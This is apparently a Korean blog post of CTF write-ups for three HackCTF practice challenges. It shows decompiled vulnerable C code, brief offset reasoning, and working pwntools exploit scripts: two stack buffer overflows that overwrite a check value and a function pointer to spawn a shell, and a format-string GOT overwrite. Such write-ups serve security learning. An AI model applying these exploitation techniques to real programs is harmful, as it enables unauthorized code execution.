728x90
1. Basic_BOF
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+4h] [ebp-34h]
int v5; // [esp+2Ch] [ebp-Ch]
v5 = 67305985;
fgets(&s, 45, stdin);
printf("\n[buf]: %s\n", &s);
printf("[check] %p\n", v5);
if ( v5 != 67305985 && v5 != 3735928559 )
puts("\nYou are on the right way!");
if ( v5 == 3735928559 )
{
puts("Yeah dude! You win!\nOpening your shell...");
system("/bin/dash");
puts("Shell closed! Bye.");
}
return 0;
}
변수 s와 v5 사이의 거리가 40인데 45를 받고 있고 마침 충족시켜야하는 데이터 크기도 5바이트라서 단순하게 풀린다.
from pwn import *
p = process("./bof_basic")
payload = "a"*40 + p32(3735928559)
p.sendline(payload)
p.interactive()
2. Basic_BOF 2
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-8Ch]
void (*v5)(void); // [esp+8Ch] [ebp-Ch]
v5 = (void (*)(void))sup;
fgets(&s, 133, stdin);
v5();
return 0;
}
그냥 ret를 덮으려고 하니 거리는 136인데 input을 133개를 받아 불가능하다. 따라서 v5변수를 다른 주소로 덮었다.
(shell 주소가 주어짐)
from pwn import *
p=process("./bof_basic2")
elf=ELF("./bof_basic2")
payload = "a"*128 + p32(elf.symbols['shell'])
p.sendline(payload)
p.interactive()
3. Basic_fsb
int vuln()
{
char s; // [esp+0h] [ebp-808h]
char format; // [esp+400h] [ebp-408h]
printf("input : ");
fgets(&s, 1024, stdin);
snprintf(&format, 0x400u, &s);
return printf(&format);
}
첫 입력 다음 4바이트에서 첫 입력값을 가지고 있으므로 printf의 got를 flag함수의 주소로 바꿔준다.
printf got + %add(flag)x + %n
from pwn import *
p=process("./basic_fsb")
elf=ELF("./basic_fsb")
payload = p32(elf.got['printf']) + "%134514096x" + "%n"
p.sendline(payload)
p.interactive()
728x90
'pwnable > HackCTF' 카테고리의 다른 글
Rate 150 (4문항) (2) | 2021.03.15 |
---|